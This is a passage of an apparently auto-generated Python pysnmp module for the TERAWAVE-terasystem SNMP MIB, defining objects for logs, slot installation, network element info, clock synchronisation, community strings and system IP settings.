teraNEReset=teraNEReset, teraPPPOperBaudRate=teraPPPOperBaudRate, teraSystemIPAddress=teraSystemIPAddress, teraNESlotTableEntry=teraNESlotTableEntry, teraNESlotUnitAdminStatus=teraNESlotUnitAdminStatus, teraTW600=teraTW600, teraNESWRevision=teraNESWRevision, teraInstallUnitMfgData=teraInstallUnitMfgData, teraSlotInstallTableEntry=teraSlotInstallTableEntry, teraLogTableEntry=teraLogTableEntry, teraSlotInstTablePar=teraSlotInstTablePar, teraSystemTime=teraSystemTime, teraGETCommunity=teraGETCommunity, teraSystemInstallTable=teraSystemInstallTable, teraClockSyncSecondaryNIMSlot=teraClockSyncSecondaryNIMSlot, teraClockSyncPrimaryNIMIfIndex=teraClockSyncPrimaryNIMIfIndex, teraNETimeZone=teraNETimeZone, teraLogNumberStatus=teraLogNumberStatus, teraNEIDxPonID=teraNEIDxPonID, teraClockSyncLastSource=teraClockSyncLastSource, teraLogClear=teraLogClear, teraSlaveState=teraSlaveState, teraMasterState=teraMasterState, teraCraftInterfaceTable=teraCraftInterfaceTable, teraWLinkIPStatus=teraWLinkIPStatus, teraClockSyncPrimaryStatus=teraClockSyncPrimaryStatus, teraTW150RTATM=teraTW150RTATM, teraMasterSlaveStateIndex=teraMasterSlaveStateIndex, teraPPPOperFlowControl=teraPPPOperFlowControl, teraInstallSlotNumber=teraInstallSlotNumber, teraInstalledSystemName=teraInstalledSystemName, teraNEMiscTableGroup=teraNEMiscTableGroup, teraSETCommunity=teraSETCommunity, teraClockSyncSecondarySource=teraClockSyncSecondarySource, teraClockSyncActiveNIMIfIndex=teraClockSyncActiveNIMIfIndex, teraSystemNEName=teraSystemNEName, teraSystemNEEocMinBandWidth=teraSystemNEEocMinBandWidth, teraNEMiscTable=teraNEMiscTable, teraSecondaryMasterSlotNumber=teraSecondaryMasterSlotNumber, teraSlaveSlotNumber=teraSlaveSlotNumber, teraLogNumberTable=teraLogNumberTable, teraLogNumberDescr=teraLogNumberDescr, teraNEIDxTableEntry=teraNEIDxTableEntry, teraWLinkIPRangeStart=teraWLinkIPRangeStart, teraNEInfoTable=teraNEInfoTable, teraLogFilterByTask=teraLogFilterByTask, teraSNMPState=teraSNMPState, teraSystemIPGateway=teraSystemIPGateway)
(integer, octet_string, object_identifier) = mibBuilder.importSymbols('ASN1', 'Integer', 'OctetString', 'ObjectIdentifier') (named_values,) = mibBuilder.importSymbols('ASN1-ENUMERATION', 'NamedValues') (value_range_constraint, value_size_constraint, constraints_union, single_value_constraint, constraints_intersection) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueRangeConstraint', 'ValueSizeConstraint', 'ConstraintsUnion', 'SingleValueConstraint', 'ConstraintsIntersection') (notification_group, module_compliance) = mibBuilder.importSymbols('SNMPv2-CONF', 'NotificationGroup', 'ModuleCompliance') (integer32, bits, counter32, object_identity, notification_type, time_ticks, mib_identifier, module_identity, counter64, mib_scalar, mib_table, mib_table_row, mib_table_column, ip_address, unsigned32, iso, enterprises, gauge32) = mibBuilder.importSymbols('SNMPv2-SMI', 'Integer32', 'Bits', 'Counter32', 'ObjectIdentity', 'NotificationType', 'TimeTicks', 'MibIdentifier', 'ModuleIdentity', 'Counter64', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'IpAddress', 'Unsigned32', 'iso', 'enterprises', 'Gauge32') (display_string, textual_convention) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention') terawave = mib_identifier((1, 3, 6, 1, 4, 1, 4513)) tera_system = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5)) tera_system_time = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemTime.setDescription('') tera_system_curr_time = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemCurrTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemCurrTime.setDescription('') tera_log_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 8)) tera_log_number_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1)) if mibBuilder.loadTexts: teraLogNumberTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTable.setDescription(' table teraLogNumberTable') tera_log_number_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraLogNumber')) if mibBuilder.loadTexts: teraLogNumberTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTableEntry.setDescription(' table entry teraLogNumberTableEntry ') tera_log_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumber.setDescription('') tera_log_number_descr = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 2), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogNumberDescr.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberDescr.setDescription('') tera_log_number_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('clear', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogNumberStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberStatus.setDescription('') tera_log_clear = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 8, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('clear', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogClear.setStatus('mandatory') if mibBuilder.loadTexts: teraLogClear.setDescription('') tera_log_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3)) if mibBuilder.loadTexts: teraLogTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTable.setDescription(' table teraLogTable') tera_log_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraLogNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraLogMsgIndex')) if mibBuilder.loadTexts: teraLogTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTableEntry.setDescription(' table entry teraLogTableEntry ') tera_log_msg_index = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 1), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogMsgIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgIndex.setDescription('') tera_log_msg_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 2), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogMsgNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgNumber.setDescription('') tera_log_number_of_params = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogNumberOfParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberOfParams.setDescription('') tera_log_params = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 4), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogParams.setDescription('') tera_log_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('ok', 1), ('clear', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraLogStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogStatus.setDescription('') tera_all_logs_filter_group = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5)) if mibBuilder.loadTexts: teraAllLogsFilterGroup.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroup.setDescription(' table teraAllLogsFilterGroup') tera_all_logs_filter_group_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraLogNumber')) if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setDescription(' table entry teraAllLogsFilterGroupEntry ') tera_log_filter_by_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 1), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterByNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByNumber.setDescription('') tera_log_filter_by_size = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('all', 1), ('last20', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterBySize.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySize.setDescription('') tera_log_filter_by_severity = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 3), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 5))).clone(namedValues=named_values(('nominal', 1), ('minor', 2), ('major', 3), ('critical', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterBySeverity.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySeverity.setDescription('') tera_log_filter_by_task = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 4), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraLogFilterByTask.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByTask.setDescription('') tera_slot_inst_table_par = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 3)) tera_slot_install_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1)) if mibBuilder.loadTexts: teraSlotInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTable.setDescription(' table teraSlotInstallTable') tera_slot_install_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber')) if mibBuilder.loadTexts: teraSlotInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTableEntry.setDescription(' table entry teraSlotInstallTableEntry ') tera_install_slot_number = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 1), integer32().subtype(subtypeSpec=value_range_constraint(1, 7))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallSlotNumber.setDescription('') tera_install_unit_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 2), integer32().subtype(subtypeSpec=value_range_constraint(-1, 5000))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstallUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitType.setDescription('') tera_install_equipped_unit_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 3), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallEquippedUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallEquippedUnitType.setDescription('') tera_install_unit_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('provision', 1), ('none', 2), ('is', 3), ('moos', 4), ('reset', 5), ('trunk', 6), ('moos-trunk', 7)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setDescription('') tera_install_unit_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 5), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=named_values(('empty', 1), ('is', 2), ('moos', 3), ('removed', 4), ('unprovisioned', 5), ('mismatch', 6), ('oos', 7), ('init', 8)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitOperStatus.setDescription('') tera_install_unit_name = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 6), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitName.setDescription('') tera_install_unit_revision = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 7), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitRevision.setDescription('') tera_install_unit_serial = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 8), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitSerial.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSerial.setDescription('') tera_install_unit_sw_version = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 9), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitSWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSWVersion.setDescription('') tera_install_unit_mfg_data = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 10), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraInstallUnitMfgData.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitMfgData.setDescription('') tera_system_install_table = mib_table((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2)) if mibBuilder.loadTexts: teraSystemInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTable.setDescription(' table teraSystemInstallTable') tera_system_install_table_entry = mib_table_row((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1)).setIndexNames((0, 'TERAWAVE-terasystem-MIB', 'teraInstallSlotNumber'), (0, 'TERAWAVE-terasystem-MIB', 'teraPonIndex')) if mibBuilder.loadTexts: teraSystemInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTableEntry.setDescription(' table entry teraSystemInstallTableEntry ') tera_system_ne_provision_admin_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('provision', 1), ('none', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setDescription('') tera_system_ne_name = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 2), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNEName.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEName.setDescription('') tera_system_ne_ranging_code = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 3), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERangingCode.setDescription('') tera_system_ne_type = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=named_values(('unknown', 0), ('tw300', 1), ('tw600', 2), ('tw1600', 3), ('tw100', 4), ('tw150RT', 5), ('oat', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEType.setDescription('') tera_system_ne_max_latency = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 5), integer32().subtype(subtypeSpec=value_range_constraint(8, 60))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEMaxLatency.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEMaxLatency.setDescription('') tera_system_ne_apon_max_length = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 6), integer32().subtype(subtypeSpec=value_range_constraint(0, 200))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setDescription('') tera_system_ne_oper_status = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3))).clone(namedValues=named_values(('empty', 1), ('provisioned', 2), ('linkDown', 3)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNEOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEOperStatus.setDescription('') tera_system_ne_eoc_min_band_width = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 8), integer32().subtype(subtypeSpec=value_range_constraint(128, 1536))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setDescription('') tera_system_ne_eoc_max_band_width = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 9), integer32().subtype(subtypeSpec=value_range_constraint(128, 1536))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setDescription('') tera_system_ne_inventory_override = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 10), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('olt2ont', 1), ('ont2olt', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setDescription('') tera_system_ne_ranging = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 11), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('on', 1), ('off', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemNERanging.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERanging.setDescription('') tera_system_ne_current_distance = mib_table_column((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 12), integer32().subtype(subtypeSpec=value_range_constraint(0, 20000))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraSystemNECurrentDistance.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNECurrentDistance.setDescription('') tera_ne_info_table_group = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3)) tera_ne_info_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1)) tera_ne_ranging_code = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 1), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraNERangingCode.setDescription('') tera_ne_type = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 2), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=named_values(('unknown', 0), ('tw300', 1), ('tw600', 2), ('tw1600', 3), ('tw100', 4), ('tw150RT-ATM', 5), ('tw150RT-TDM', 6), ('oat', 7)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraNEType.setDescription('') tera_ne_model = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 3), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNEModel.setStatus('mandatory') if mibBuilder.loadTexts: teraNEModel.setDescription('') tera_nesw_version = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 4), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNESWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWVersion.setDescription('') tera_nesw_revision = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 5), octet_string()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraNESWRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWRevision.setDescription('') tera_clock_sync_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 4)) tera_clock_sync_primary_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 1), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('bits-A', 1), ('nim', 2), ('freerun', 3), ('holdover', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncPrimarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimarySource.setDescription('') tera_clock_sync_primary_nim_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 2), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setDescription('') tera_clock_sync_primary_nim_if_index = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 3), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setDescription('') tera_clock_sync_secondary_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 4), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('bits-B', 1), ('nim', 2), ('freerun', 3), ('holdover', 4)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncSecondarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondarySource.setDescription('') tera_clock_sync_secondary_nim_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 5), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setDescription('') tera_clock_sync_secondary_nim_if_index = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 6), integer32()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setDescription('') tera_clock_sync_last_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 7), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('freerun', 1), ('holdover', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncLastSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncLastSource.setDescription('') tera_clock_sync_revertive = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 8), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('yes', 1), ('no', 2)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncRevertive.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncRevertive.setDescription('') tera_clock_sync_active_source = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 9), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('bits-A', 1), ('bits-B', 2), ('nim', 3), ('freerun', 4), ('holdover', 5)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveSource.setDescription('') tera_clock_sync_active_nim_slot = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 10), integer32().subtype(subtypeSpec=value_range_constraint(1, 16))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setDescription('') tera_clock_sync_active_nim_if_index = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 11), integer32()).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setDescription('') tera_clock_sync_active_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 12), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2))).clone(namedValues=named_values(('auto', 1), ('manual', 2)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncActiveStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveStatus.setDescription('') tera_clock_sync_primary_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 13), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('active', 1), ('idle', 2), ('fail', 3), ('oos', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryStatus.setDescription('') tera_clock_sync_secondary_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 14), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4))).clone(namedValues=named_values(('active', 1), ('idle', 2), ('fail', 3), ('oos', 4)))).setMaxAccess('readonly') if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryStatus.setDescription('') tera_clock_sync_oper_status = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 15), integer32().subtype(subtypeSpec=constraints_union(single_value_constraint(1, 2, 3, 4, 5))).clone(namedValues=named_values(('configure', 1), ('switchToPrimary', 2), ('switchToSecondary', 3), ('switchToHoldover', 4), ('switchToFreerun', 5)))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraClockSyncOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncOperStatus.setDescription('') tera_community_group_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 5)) tera_public_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 1), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraPublicCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraPublicCommunity.setDescription('') tera_set_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 2), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraSETCommunity.setDescription('') tera_get_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 3), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraGETCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraGETCommunity.setDescription('') tera_admin_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 4), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraAdminCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraAdminCommunity.setDescription('') tera_test_community = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 5, 5), octet_string()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraTestCommunity.setStatus('mandatory') if mibBuilder.loadTexts: teraTestCommunity.setDescription('') tera_master_slave_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 6)) tera_master_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 1), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraMasterSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraMasterSlotNumber.setDescription('') tera_slave_slot_number = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 6, 2), integer32().subtype(subtypeSpec=value_range_constraint(0, 7))).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSlaveSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraSlaveSlotNumber.setDescription('') tera_system_ip_group_table = mib_identifier((1, 3, 6, 1, 4, 1, 4513, 5, 7)) tera_system_ip_address = mib_scalar((1, 3, 6, 1, 4, 1, 4513, 5, 7, 1), ip_address()).setMaxAccess('readwrite') if mibBuilder.loadTexts: teraSystemIPAddress.setStatus('mandatory') if mibBuilder.loadTexts: 